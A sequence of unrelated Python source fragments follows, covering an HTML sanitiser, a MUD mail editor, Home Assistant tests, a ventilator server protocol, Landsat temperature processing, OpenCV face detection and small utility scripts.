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# Console print helper import simplejson as json import pprint INDENT = 2 pp = pprint.PrettyPrinter(indent=INDENT)
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# Copyright The IETF Trust 2010-2020, All Rights Reserved # -*- coding: utf-8 -*- # Taken from http://code.google.com/p/soclone/source/browse/trunk/soclone/utils/html.py """Utilities for working with HTML.""" import bleach import copy import html2text import lxml.etree import lxml.html import lxml.html.clean import debug # pyflakes:ignore from django import forms from django.utils.functional import keep_lazy from ietf.utils.mime import get_mime_type acceptable_tags = ('a', 'abbr', 'acronym', 'address', 'b', 'big', 'blockquote', 'body', 'br', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'dd', 'del', 'dfn', 'dir', 'div', 'dl', 'dt', 'em', 'font', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'hr', 'html', 'i', 'ins', 'kbd', 'li', 'ol', 'p', 'pre', 'q', 's', 'samp', 'small', 'span', 'strike', 'style', 'strong', 'sub', 'sup', 'table', 'title', 'tbody', 'td', 'tfoot', 'th', 'thead', 'tr', 'tt', 'u', 'ul', 'var') acceptable_protocols = ['http', 'https', 'mailto', 'xmpp', ] def unescape(text): """ Returns the given text with ampersands, quotes and angle brackets decoded for use in URLs. This function undoes what django.utils.html.escape() does """ return text.replace('&#39;', "'").replace('&quot;', '"').replace('&gt;', '>').replace('&lt;', '<' ).replace('&amp;', '&') @keep_lazy(str) def remove_tags(html, tags): """Returns the given HTML sanitized, and with the given tags removed.""" allowed = set(acceptable_tags) - set([ t.lower() for t in tags ]) return bleach.clean(html, tags=allowed) # ---------------------------------------------------------------------- # Html fragment cleaning bleach_cleaner = bleach.sanitizer.Cleaner(tags=acceptable_tags, protocols=acceptable_protocols, strip=True) # ---------------------------------------------------------------------- # Page cleaning # We will be saving as utf-8 later, so set that in the meta tag. lxml_cleaner = Cleaner(allow_tags=acceptable_tags, remove_unknown_tags=None, style=False, page_structure=False, charset='utf-8') # ---------------------------------------------------------------------- # Text field cleaning
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# -*-coding:Utf-8 -* # Copyright (c) 2010-2017 LE GOFF Vincent # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """Fichier contenant le contexte éditeur EdtBrouillons""" from primaires.interpreteur.editeur import Editeur from primaires.interpreteur.editeur.env_objet import EnveloppeObjet from primaires.communication.editeurs.medit import EdtMedit from primaires.communication.mudmail import BROUILLON from primaires.format.fonctions import couper_phrase class EdtBrouillons(Editeur): """Classe définissant le contexte-éditeur 'brouillons'. Ce contexte liste les brouillons et propose des options d'édition. """ def __init__(self, pere, objet=None, attribut=None): """Constructeur de l'éditeur""" Editeur.__init__(self, pere, objet, attribut) self.ajouter_option("e", self.opt_editer) self.ajouter_option("s", self.opt_supprimer) def accueil(self): """Méthode d'accueil""" joueur = self.pere.joueur mails = type(self).importeur.communication.mails.get_mails_pour( joueur, BROUILLON) msg = "||tit| " + "Brouillons".ljust(76) + "|ff||\n" msg += self.opts.separateur + "\n" msg += self.aide_courte + "\n\n" if not mails: msg += "|att|Aucun message enregistré dans ce dossier.|ff|" else: taille = 0 for mail in mails: t_sujet = len(couper_phrase(mail.sujet, 33)) if t_sujet > taille: taille = t_sujet taille = (taille < 5 and 5) or taille msg += "+" + "-".ljust(taille + 41, "-") + "+\n" msg += "| |tit|N°|ff| | |tit|" + "Sujet".ljust(taille) msg += "|ff| | |tit|Destinataire|ff| | |tit|" + "Date".ljust(16) msg += "|ff| |\n" i = 1 for mail in mails: msg += "| |rg|" + str(i).rjust(2) + "|ff| | " msg += "|vr|" + couper_phrase(mail.sujet, 33).ljust( \ taille) + "|ff| | |blc|" msg += couper_phrase(mail.aff_dest,12).ljust(12) + "|ff| | " msg += "|jn|" + mail.date.isoformat(" ")[:16] + "|ff| |\n" i += 1 msg += "+" + "-".ljust(taille + 41, "-") + "+" return msg def opt_editer(self, arguments): """Option éditer""" if not arguments or arguments.isspace(): self.pere.joueur << "|err|Vous devez préciser le numéro d'un " \ "message.|ff|" return mails = type(self).importeur.communication.mails.get_mails_pour( self.pere.joueur, BROUILLON) try: num = int(arguments.split(" ")[0]) except ValueError: self.pere.joueur << "|err|Vous devez spécifier un nombre entier " \ "valide.|ff|" else: i = 1 e_mail = None for mail in mails: if num == i: e_mail = mail break i += 1 if e_mail is None: self.pere.joueur << "|err|Le numéro spécifié ne correspond " \ "à aucun message.|ff|" return brouillon = type(self).importeur.communication.mails.creer_mail( \ e_mail.expediteur, source=e_mail) enveloppe = EnveloppeObjet(EdtMedit, brouillon, None) enveloppe.parent = self contexte = enveloppe.construire(self.pere.joueur) contexte.opts.rci_ctx_prec = "" self.pere.joueur.contextes.ajouter(contexte) contexte.actualiser() def opt_supprimer(self, arguments): """Option supprimer""" if not arguments or arguments.isspace(): self.pere.joueur << "|err|Vous devez préciser le numéro d'un " \ "message.|ff|" return mails = type(self).importeur.communication.mails.get_mails_pour( self.pere.joueur, BROUILLON) try: num = int(arguments.split(" ")[0]) except ValueError: self.pere.joueur << "|err|Vous devez spécifier un nombre entier " \ "valide.|ff|" else: i = 1 s_mail = None for mail in mails: if num == i: s_mail = mail break i += 1 if s_mail is None: self.pere.joueur << "|err|Le numéro spécifié ne correspond à " \ "aucun message.|ff|" return del type(self).importeur.communication.mails[s_mail.id] self.pere.joueur << "|att|Ce message a bien été supprimé.|ff|"
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from django.contrib import admin from .models import Hora # Register your models here. admin.site.register(Hora)
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import pytest
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import torch import torch.nn as nn from timm.models.layers import DropPath, trunc_normal_
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# -*- coding: utf-8 -*- import os import unittest from pelican.contents import Article from pelican.generators import Generator from pelican.settings import DEFAULT_CONFIG from categorytpl import category_template if __name__ == '__main__': unittest.main()
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import json from collections import defaultdict board = None with open('trello.json', 'r') as file: board = json.loads(file.read()) cards = board['cards'] lists = board['lists'] list_id_to_name = {} list_names_to_pos = {} for _list in lists: if _list['closed']: continue list_id_to_name[_list['id']] = _list['name'] list_names_to_pos[_list['name']] = _list['pos'] keyset = set(str()) cards_cleaned = [] for card in cards: votes = 0 if 'votes' in card['badges']: votes = card['badges']['votes'] if votes == 0: continue cards_cleaned.append( { 'name': card['name'], 'list': list_id_to_name[card['idList']], 'votes': votes } ) # separate by list list_to_cards = defaultdict(list) for card in cards_cleaned: list_to_cards[card['list']].append(card) for list_name in list(list_to_cards.keys()): list_to_cards[list_name] = sorted( list_to_cards[list_name], key=lambda x: x['votes'], reverse=True ) with open('trello.csv', 'w') as file: list_names = list(list_to_cards.keys()) list_names = sorted(list_names, key=lambda x: int(list_names_to_pos[x])) header = '' for list_name in list_names: header += 'votes,{},'.format(list_name.encode('utf-8')) header = header[:-1] + '\n' file.write(header) row_index = 0 rows = [] while True: row = [] none_counter = 0 for list_name in list_names: list_cards = list_to_cards[list_name] if row_index < len(list_cards): card = list_cards[row_index] else: card = None none_counter += 1 row.append(card) if none_counter == len(list_names): break else: rows.append(row) row_index += 1 for row in rows: row_str = '' for item in row: if item is None: row_str += ',,' else: row_str += '{},"{}",'.format( item['votes'], item['name'].encode('utf-8').replace('"', '\'') ) row_str = row_str[:-1] + '\n' file.write(row_str)
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"""Tests for the Atag config flow.""" from pyatag import AtagException from homeassistant import config_entries, data_entry_flow from homeassistant.components.atag import DOMAIN from homeassistant.const import CONF_DEVICE, CONF_EMAIL, CONF_HOST, CONF_PORT from tests.async_mock import PropertyMock, patch from tests.common import MockConfigEntry FIXTURE_USER_INPUT = { CONF_HOST: "127.0.0.1", CONF_EMAIL: "test@domain.com", CONF_PORT: 10000, } FIXTURE_COMPLETE_ENTRY = FIXTURE_USER_INPUT.copy() FIXTURE_COMPLETE_ENTRY[CONF_DEVICE] = "device_identifier" async def test_show_form(hass): """Test that the form is served with no input.""" result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "user" async def test_one_config_allowed(hass): """Test that only one Atag configuration is allowed.""" MockConfigEntry(domain="atag", data=FIXTURE_USER_INPUT).add_to_hass(hass) result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) assert result["type"] == data_entry_flow.RESULT_TYPE_ABORT assert result["reason"] == "already_configured" async def test_connection_error(hass): """Test we show user form on Atag connection error.""" with patch( "homeassistant.components.atag.config_flow.AtagOne.authorize", side_effect=AtagException(), ): result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER}, data=FIXTURE_USER_INPUT, ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "user" assert result["errors"] == {"base": "connection_error"} async def test_full_flow_implementation(hass): """Test registering an integration and finishing flow works.""" with patch("homeassistant.components.atag.AtagOne.authorize",), patch( "homeassistant.components.atag.AtagOne.update", ), patch( "homeassistant.components.atag.AtagOne.id", new_callable=PropertyMock(return_value="device_identifier"), ): result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER}, data=FIXTURE_USER_INPUT, ) assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY assert result["title"] == FIXTURE_COMPLETE_ENTRY[CONF_DEVICE] assert result["data"] == FIXTURE_COMPLETE_ENTRY
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from tests.integration.integration_test_case import IntegrationTestCase ACCOUNT_SERVICE_SURVEYS_URL = "/surveys/todo"
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"""Sans-I/O ventilator backend server protocol.""" from typing import Optional, Union, Tuple import logging import time as _time import attr from ventserver.protocols import backend from ventserver.protocols import events from ventserver.protocols import frontend from ventserver.protocols import mcu from ventserver.protocols import file from ventserver.protocols import rotary_encoder from ventserver.protocols import exceptions from ventserver.sansio import channels from ventserver.sansio import protocols # Events @attr.s class FrontendConnectionEvent(events.Event): """Server frontend connection status event.""" last_connection_time: float = attr.ib(default=None) is_frontend_connected: bool = attr.ib(default=False) def has_data(self) -> bool: """Return whether the event has data.""" return ( self.last_connection_time is not None and self.is_frontend_connected is not None ) @attr.s class ReceiveEvent(events.Event): """Server receive input event.""" time: Optional[float] = attr.ib(default=None) serial_receive: Optional[bytes] = attr.ib(default=None) websocket_receive: Optional[bytes] = attr.ib(default=None) rotary_encoder_receive: Tuple[int, bool] = attr.ib(default=None) file_receive: Optional[file.StateData] = attr.ib(default=None) def has_data(self) -> bool: """Return whether the event has data.""" return ( self.time is not None or bool(self.serial_receive) or self.websocket_receive is not None or self.rotary_encoder_receive is not None or self.file_receive is not None ) @attr.s class ReceiveOutputEvent(events.Event): """Server receive output/send event.""" server_send: Optional[backend.OutputEvent] = attr.ib(default=None) frontend_delayed: bool = attr.ib(default=False) def has_data(self) -> bool: """Return whether the event has data.""" return self.server_send is not None and self.server_send.has_data() SendEvent = Union[backend.Announcement, backend.OutputEvent] @attr.s class SendOutputEvent(events.Event): """Server send output/send event.""" serial_send: Optional[bytes] = attr.ib(default=None) websocket_send: Optional[bytes] = attr.ib(default=None) file_send: Optional[file.StateData] = attr.ib(default=None) def has_data(self) -> bool: """Return whether the event has data.""" return (bool(self.serial_send) or self.websocket_send is not None or self.file_send is not None) def make_serial_receive( serial_receive: bytes, time: float ) -> ReceiveEvent: """Make a ReceiveEvent from serial receive data.""" return ReceiveEvent(serial_receive=serial_receive, time=time) def make_websocket_receive( ws_receive: bytes, time: float ) -> ReceiveEvent: """Make a ReceiveEvent from websocket receive data.""" return ReceiveEvent(websocket_receive=ws_receive, time=time) def make_rotary_encoder_receive( re_receive: Tuple[int, bool], time: float ) -> ReceiveEvent: """Make a ReceiveEvent from rotary encoder receive data.""" return ReceiveEvent(rotary_encoder_receive=re_receive, time=time) # Frontend kill props @attr.s class FrontendKillProps(): """Variables used to implement frozen frontend kill logic.""" # fe = frontend last_fe_event: float = attr.ib(default=0) fe_connected: bool = attr.ib(default=False) fe_connection_time: float = attr.ib(default=0) last_fe_kill: float = attr.ib(factory=_time.time) fe_delayed_duration: int = attr.ib(default=5) # Filters @attr.s class ReceiveFilter(protocols.Filter[ReceiveEvent, ReceiveOutputEvent]): """Filter which transforms receive bytes into high-level events.""" _logger = logging.getLogger('.'.join((__name__, 'ReceiveFilter'))) _buffer: channels.DequeChannel[ Union[ReceiveEvent, FrontendConnectionEvent] ] = attr.ib(factory=channels.DequeChannel) current_time: float = attr.ib(default=0) _kill_props: FrontendKillProps = attr.ib(factory=FrontendKillProps) _mcu: mcu.ReceiveFilter = attr.ib(factory=mcu.ReceiveFilter) _frontend: frontend.ReceiveFilter = attr.ib(factory=frontend.ReceiveFilter) _rotary_encoder: rotary_encoder.ReceiveFilter = attr.ib( factory=rotary_encoder.ReceiveFilter ) _backend: backend.ReceiveFilter = attr.ib(factory=backend.ReceiveFilter) _file: file.ReceiveFilter = attr.ib( factory=file.ReceiveFilter ) def input(self, event: Optional[ Union[ReceiveEvent, FrontendConnectionEvent ] ]) -> None: """Handle input events.""" if event is None or not event.has_data(): return self._buffer.input(event) def output(self) -> Optional[ReceiveOutputEvent]: """Emit the next output event.""" self._process_buffer() any_updated = False # Process mcu output any_updated = self._process_mcu() or any_updated # Process frontend output any_updated = self._process_frontend() or any_updated # Process rotary encoder output any_updated = self._process_rotary_encoder() or any_updated # Process file output try: any_updated = self._process_file() or any_updated except exceptions.ProtocolDataError as err: self._logger.error(err) # Process time if not any_updated: self._backend.input(backend.ReceiveEvent(time=self.current_time)) # Process backend output # Consume any outputs as long as the backend is indicating that it still # has receive data to process, even if it has no data to output while True: backend_output = self._backend.output() if backend_output is None: break if backend_output.has_data(): break any_updated = any_updated or backend_output is not None if not any_updated: return None # Kill frontend process if it stops responding. # The frontend service will automatically restart the frontend process. delayed = False if int(self.current_time - self._kill_props.last_fe_event) >\ self._kill_props.fe_delayed_duration: if int(self.current_time - self._kill_props.last_fe_kill) > 2: connection_duration = int( self.current_time - self._kill_props.fe_connection_time ) if self._kill_props.fe_connected and connection_duration > 2: self._kill_props.last_fe_kill = self.current_time delayed = True output = ReceiveOutputEvent( server_send=backend_output, frontend_delayed=delayed ) return output def _process_buffer(self) -> None: """Process the next event in the input buffer.""" event = self._buffer.output() if event is None: return if isinstance(event, FrontendConnectionEvent): self._kill_props.fe_connection_time = event.last_connection_time self._kill_props.fe_connected = event.is_frontend_connected return if event.time is not None: self.current_time = event.time self._mcu.input(event.serial_receive) self._frontend.input(event.websocket_receive) self._rotary_encoder.input( rotary_encoder.ReceiveEvent( time=self.current_time, re_data=event.rotary_encoder_receive ) ) self._file.input(event.file_receive) def _process_mcu(self) -> bool: """Process the next event from the mcu protocol.""" mcu_output = self._mcu.output() if mcu_output is None: return False self._backend.input(backend.ReceiveEvent( time=self.current_time, mcu_receive=mcu_output, frontend_receive=None )) return True def _process_frontend(self) -> bool: """Process the next event from the frontend protocol.""" frontend_output = self._frontend.output() if frontend_output is None: return False self._backend.input(backend.ReceiveEvent( time=self.current_time, mcu_receive=None, frontend_receive=frontend_output )) self._kill_props.last_fe_event = self.current_time return True def _process_rotary_encoder(self) -> bool: """Process the next event from the rotary encoder.""" rotary_encoder_output = self._rotary_encoder.output() if rotary_encoder_output is None: return False self._backend.input(backend.ReceiveEvent( time=self.current_time, mcu_receive=None, frontend_receive=rotary_encoder_output )) return True def _process_file(self) -> bool: """Process the next event from the file.""" file_output = self._file.output() # throws ProtocolDataError if file_output is None: return False self._backend.input(backend.ReceiveEvent( time=self.current_time, mcu_receive=None, frontend_receive=None, file_receive=file_output )) return True def input_serial(self, serial_receive: bytes) -> None: """Input a ReceiveEvent corresponding to serial data. This is just a convenience function intended for writing unit tests more concisely. """ self.input(make_serial_receive(serial_receive, self.current_time)) def input_websocket(self, websocket: bytes) -> None: """Input a ReceiveEvent corresponding to websocket data. This is just a convenience function intended for writing unit tests more concisely. """ self.input(make_websocket_receive(websocket, self.current_time)) @property def backend(self) -> backend.ReceiveFilter: """Return the backend receiver.""" return self._backend @property def file(self) -> file.ReceiveFilter: """Return the file receiver""" return self._file @attr.s class SendFilter(protocols.Filter[SendEvent, SendOutputEvent]): """Filter which transforms high-level events into send bytes.""" _buffer: channels.DequeChannel[SendEvent] = attr.ib( factory=channels.DequeChannel ) _backend: backend.SendFilter = attr.ib(factory=backend.SendFilter) _mcu: mcu.SendFilter = attr.ib(factory=mcu.SendFilter) _frontend: frontend.SendFilter = attr.ib(factory=frontend.SendFilter) _file: file.SendFilter = attr.ib(factory=file.SendFilter) def input(self, event: Optional[SendEvent]) -> None: """Handle input events.""" if event is None or not event.has_data(): return self._buffer.input(event) def output(self) -> Optional[SendOutputEvent]: """Emit the next output event.""" any_updated = False self._process_buffer() backend_output = self._backend.output() any_updated = (backend_output is not None) or any_updated self._mcu.input(backend.get_mcu_send(backend_output)) mcu_output = self._mcu.output() any_updated = (mcu_output is not None) or any_updated self._frontend.input(backend.get_frontend_send(backend_output)) frontend_output = self._frontend.output() any_updated = (frontend_output is not None) or any_updated self._file.input(backend.get_file_send(backend_output)) file_output = self._file.output() any_updated = (file_output is not None) or any_updated if not any_updated: return None output = SendOutputEvent( serial_send=mcu_output, websocket_send=frontend_output, file_send=file_output ) return output def _process_buffer(self) -> None: """Process the next event in the input buffer.""" try: event = self._buffer.output() self._backend.input(event) except IndexError: pass @property def file(self) -> file.SendFilter: """Return file sendfilter""" return self._file # Protocols @attr.s class Protocol(protocols.Protocol[ ReceiveEvent, ReceiveOutputEvent, SendEvent, SendOutputEvent ]): """Backend communication protocol.""" _receive: ReceiveFilter = attr.ib(factory=ReceiveFilter) _send: SendFilter = attr.ib(factory=SendFilter) @property def receive(self) -> ReceiveFilter: """Return a Filter interface for receive events.""" return self._receive @property def send(self) -> SendFilter: """Return a Filter interface for send events.""" return self._send
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'''Module to make metrics for evaluating reco''' import numpy as np import matplotlib.pyplot as plt import tensorflow_probability as tfp import tensorflow as tf sig=((tf.TensorSpec(shape=(None, 5), dtype=tf.float64, name=None), tf.SparseTensorSpec(tf.TensorShape([None, None]), tf.float64), tf.TensorSpec(shape=(None,), dtype=tf.int64, name=None)), tf.TensorSpec(shape=(None, 6), dtype=tf.float64, name=None))
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import pytest import sqlalchemy as sa from flexmock import flexmock from sqlalchemy_utils import ColorType, types # noqa @pytest.fixture @pytest.fixture @pytest.mark.skipif('types.color.python_colour_type is None')
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if __name__ == '__main__': s = Stack() print(s) print(s.is_empty()) s.push(1) s.push(2) print(s) s.push(3) print(s) print(s.top()) print(s.pop()) print(s) """ [] True [1, 2] [1, 2, 3] 3 3 [1, 2] """
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#standard imports import arcpy import os from dnppy import core from landsat_metadata import landsat_metadata if arcpy.CheckExtension('Spatial')=='Available': arcpy.CheckOutExtension('Spatial') arcpy.env.overwriteOutput = True __all__=['atsat_bright_temp_8', # complete 'atsat_bright_temp_457'] # complete def atsat_bright_temp_8(meta_path, outdir = False): """ Converts Landsat 8 TIRS bands to at satellite brightnes temperature in Kelvins To be performed on raw Landsat 8 level 1 data. See link below for details see here http://landsat.usgs.gov/Landsat8_Using_Product.php :param band_nums: A list of desired band numbers, which should be [10,11] :param meta_path: The full filepath to the metadata file for those bands :param outdir: Output directory to save converted files. If left False it will save ouput files in the same directory as input files. :return output_filelist: A list of all files created by this function """ #enforce the list of band numbers and grab metadata from the MTL file band_nums = ["10", "11"] meta_path = os.path.abspath(meta_path) meta = landsat_metadata(meta_path) output_filelist = [] #cycle through each band in the list for calculation, ensuring each is in the list of TIRS bands for band_num in band_nums: #scrape data from the given file path and attributes in the MTL file band_path = meta_path.replace("MTL.txt","B{0}.tif".format(band_num)) Qcal = arcpy.Raster(band_path) #get rid of the zero values that show as the black background to avoid skewing values null_raster = arcpy.sa.SetNull(Qcal, Qcal, "VALUE = 0") #requires first converting to radiance Ml = getattr(meta,"RADIANCE_MULT_BAND_{0}".format(band_num)) # multiplicative scaling factor Al = getattr(meta,"RADIANCE_ADD_BAND_{0}".format(band_num)) # additive rescaling factor TOA_rad = (null_raster * Ml) + Al #now convert to at-sattelite brightness temperature K1 = getattr(meta,"K1_CONSTANT_BAND_{0}".format(band_num)) # thermal conversion constant 1 K2 = getattr(meta,"K2_CONSTANT_BAND_{0}".format(band_num)) # thermal conversion constant 2 #calculate brightness temperature at the satellite Bright_Temp = K2/(arcpy.sa.Ln((K1/TOA_rad) + 1)) #save the data to the automated name if outdir is given or in the parent folder if not if outdir: outdir = os.path.abspath(outdir) outname = core.create_outname(outdir, band_path, "ASBTemp", "tif") else: folder = os.path.split(meta_path)[0] outname = core.create_outname(folder, band_path, "ASBTemp", "tif") Bright_Temp.save(outname) output_filelist.append(outname) print("Saved output at {0}".format(outname)) del TOA_rad, null_raster return output_filelist def atsat_bright_temp_457(meta_path, outdir = None): """ Converts band 6 from Landsat 4 and 5 or bands 6 VCID 1 and 2 from Landsat 7 to at satellite brightness temperature in Kelvins To be performed on raw Landsat 4, 5, or 7 level 1 data. :param meta_path: The full filepath to the metadata file, labeled '_MTL.txt', which must be in the same folder as band 6 or 6_VCID_1 and 6_VCID_2 :param outdir: Output directory to save converted files. If left False it will save ouput files in the same directory as input files. :return output_filelist: A list of all files created by this function """ output_filelist = [] meta_path = os.path.abspath(meta_path) metadata = landsat_metadata(meta_path) spacecraft = getattr(metadata, "SPACECRAFT_ID") if "4" in spacecraft or "5" in spacecraft: band_nums = ["6"] elif "7" in spacecraft: band_nums = ["6_VCID_1", "6_VCID_2"] else: print("Enter the MTL file corresponding to a Landsat 4, 5, or 7 dataset") # These lists will be used to parse the meta data text file and locate relevant information # metadata format was changed August 29, 2012. This tool can process either the new or old format f = open(meta_path) MText = f.read() # the presence of a PRODUCT_CREATION_TIME category is used to identify old metadata # if this is not present, the meta data is considered new. # Band6length refers to the length of the Band 6 name string. In the new metadata this string is longer if "PRODUCT_CREATION_TIME" in MText: Meta = "oldMeta" else: Meta = "newMeta" # The tile name is located using the newMeta/oldMeta indixes and the date of capture is recorded if Meta == "newMeta": TileName = getattr(metadata, "LANDSAT_SCENE_ID") year = TileName[9:13] jday = TileName[13:16] date = getattr(metadata, "DATE_ACQUIRED") elif Meta == "oldMeta": TileName = getattr(metadata, "BAND1_FILE_NAME") year = TileName[13:17] jday = TileName[17:20] date = getattr(metadata, "ACQUISITION_DATE") # the spacecraft from which the imagery was capture is identified # this info determines the solar exoatmospheric irradiance (ESun) for each band # Calculating values for each band for band_num in band_nums: print("Processing Band {0}".format(band_num)) pathname = meta_path.replace("MTL.txt", "B{0}.tif".format(band_num)) Oraster = arcpy.Raster(pathname) # get rid of the zero values that show as the black background to avoid skewing values null_raster = arcpy.sa.SetNull(Oraster, Oraster, "VALUE = 0") # using the oldMeta/newMeta indixes to pull the min/max for radiance/Digital numbers if Meta == "newMeta": LMax = getattr(metadata, "RADIANCE_MAXIMUM_BAND_{0}".format(band_num)) LMin = getattr(metadata, "RADIANCE_MINIMUM_BAND_{0}".format(band_num)) QCalMax = getattr(metadata, "QUANTIZE_CAL_MAX_BAND_{0}".format(band_num)) QCalMin = getattr(metadata, "QUANTIZE_CAL_MIN_BAND_{0}".format(band_num)) elif Meta == "oldMeta": LMax = getattr(metadata, "LMAX_BAND{0}".format(band_num)) LMin = getattr(metadata, "LMIN_BAND{0}".format(band_num)) QCalMax = getattr(metadata, "QCALMAX_BAND{0}".format(band_num)) QCalMin = getattr(metadata, "QCALMIN_BAND{0}".format(band_num)) Radraster = (((LMax - LMin)/(QCalMax-QCalMin)) * (null_raster - QCalMin)) + LMin Oraster = 0 # Calculating temperature for band 6 if present if "4" in spacecraft or "5" in spacecraft: Refraster = 1260.56/(arcpy.sa.Ln((607.76/Radraster) + 1.0)) if "7" in spacecraft: Refraster = 1282.71/(arcpy.sa.Ln((666.09/Radraster) + 1.0)) band_temp = "{0}_B{1}".format(TileName, band_num) # save the data to the automated name if outdir is given or in the parent folder if not if outdir: outdir = os.path.abspath(outdir) BandPath = core.create_outname(outdir, band_temp, "ASBTemp", "tif") else: folder = os.path.split(meta_path)[0] BandPath = core.create_outname(folder, band_temp, "ASBTemp", "tif") Refraster.save(BandPath) output_filelist.append(BandPath) del Refraster, Radraster, null_raster print("Temperature Calculated for Band {0}".format(band_num)) f.close() return output_filelist
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from cv2 import cv2 face_cascade = cv2.CascadeClassifier("../haarcascades/haarcascade_frontalface_default.xml") cap = cv2.VideoCapture("../assets/video.mp4") while True: ret, frame = cap.read() if ret: frame = cv2.resize(frame, None, fx=1 / 2, fy=1 / 2, interpolation=cv2.INTER_AREA) image_gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) image_gray = cv2.equalizeHist(image_gray) faces = face_cascade.detectMultiScale(image_gray) for (x, y, w, h) in faces: # Draw ellipse around the face center = (x + w // 2, y + h // 2) image = cv2.ellipse(frame, center, (w // 2, h // 2), 0, 0, 360, (255, 0, 255), 4) cv2.imshow('Capture - Face detection', frame) if cv2.waitKey(1) & 0xFF == ord('q'): break else: break cv2.destroyAllWindows()
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if __name__ == '__main__': import sys sys.path.insert(0, 'C:\\Users\\James Jiang\\Documents\\Project Euler') from progress import Progress answers_list = ['dummy'] with open('C:\\Users\\James Jiang\\Documents\\Project Euler\\answers.txt') as answers: for line in answers: answers_list.append(int(line)) progress_ = Progress("Problem 063: Powerful digit counts", 0, answers_list[63]) for n in range(1, 22): for a in range(1, 10): num_str = str(a**n) if len(num_str) == n: progress_.count += 1 progress_.progress() if __name__ == '__main__': input()
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__author__ = 'Justin Scholz' __copyright__ = "Copyright 2015 - 2017, Justin Scholz" def recognize_user_input(user_choice: str, possibilities: [], default_answer=None): """ :param default_answer: the default answer that is returned if user just hits enter :param user_choice: what the user entered :param possibilities: a list containing all valid answers, make sure to include "" if you want default answers with "enter" key pressing :return: user_chosen_answer: one value of the possibilities passed to this function; user_input_understood: Whether there was an error parsing the answer or not. Returns true if the input was matched. """ user_input_understood = False user_chosen_answer = str for answer in possibilities: try: if int(user_choice) == answer: user_chosen_answer = user_choice user_input_understood = True except ValueError: user_input_understood = False if user_choice == "": user_chosen_answer = default_answer user_input_understood = True return user_chosen_answer, user_input_understood def ask_user_for_input(question: dict): """ :param question: a dictionary as it comes from elsewhere, meaning that it has the keys: "question_title", "question_text", "default_answer", "option_type" (can be "yes_no", "multi_choice", "free_choice"), "valid_options" (only needed for multi_choice), "valid_options_lower_limit" and "valid_options_upper_limit" and "valid_options_steplength" in case of the free_choice. The "default answer" key is in case of a yes/no question either True or False, in case of free choice, it's a float and in case of multi_choice, it's the index of the answer out of the valid_options. :type question: dict - a sample dictionary for multi_choice is: question = {"question_title": "Measurement Mode", "question_text": "Please choose which measurement mode to use", "default_answer": 2, "optiontype": "multi_choice", "valid_options": ["2-point", "3-point", "4-point"]} - a sample dictionary for yes/no is: question = {"question_title": "Connection check", "question_text": "Connection check wasn't performed but is optional. Do you want to check the " "connections?", "default_answer": True, "optiontype": "yes_no"} - a sample dictionary for interval is: question = {"question_title": "Excitation voltage", "question_text": "Please enter an excitation voltage between 0 and 3 V. Maximum accuracy is 0.1 V.", "default_answer": 1.0, "optiontype": "free_choice", "valid_options_lower_limit": 0.0, "valid_options_upper_limit": 3.0, "valid_options_steplength": 1e1} Note: Steplength is the inverse steplength. If 0.05 is the allowed steplength, enter 20 as steplength here - a sample dictionary to ask for free text: question = {"question_title": "Working directory", "question_text": "Please choose a working directory for the following session with this program", "default_answer": "C:\Data\DiBaMePro", "optiontype": "free_text"} - a sample dictionary to ask for two indeces: question = {"question_title": "Same-level-merge selection", "question_text": "Please enter the two indeces, (you will get two input prompts) for the " "two which are to be merged.", "default_answer": "0", "optiontype": "2_indeces"} - a sample dictionary to ask for multiple indeces: question = {"question_title": "Same-level-merge selection", "question_text": "Please enter one or more indeces separated only by a comma", "default_answer": "0,4,8,12", "optiontype": "multi_indeces"} """ result = question.copy() # first we get the dictionarie's values into local variables to ease the handling question_title = question["question_title"] # type: str question_title = "-------------" + question_title + "-------------" question_text = question["question_text"] # type: str default_answer = question["default_answer"] # can be int or True or str optiontype = question["optiontype"] # type: str valid_options = None valid_options_lower_limit = None valid_options_upper_limit = None valid_options_steplength = None print(question_title) print(question_text) # valid_options and option specifics only exist if it's not a yes/no question if optiontype != "yes_no": # in case of multi_choice, key "valid_options" exist and we need to match it if optiontype == "multi_choice": valid_options = question["valid_options"] # type: [] elif optiontype == "free_choice": valid_options_lower_limit = question["valid_options_lower_limit"] valid_options_upper_limit = question["valid_options_upper_limit"] valid_options_steplength = question["valid_options_steplength"] # Now let's make different parsing for the (currently) three question types: # Yes/No questions are mapped to Bool True or False if optiontype == "yes_no": # here we can easily centrally exchange this to some logic to talk to a potential GUI answer_understood 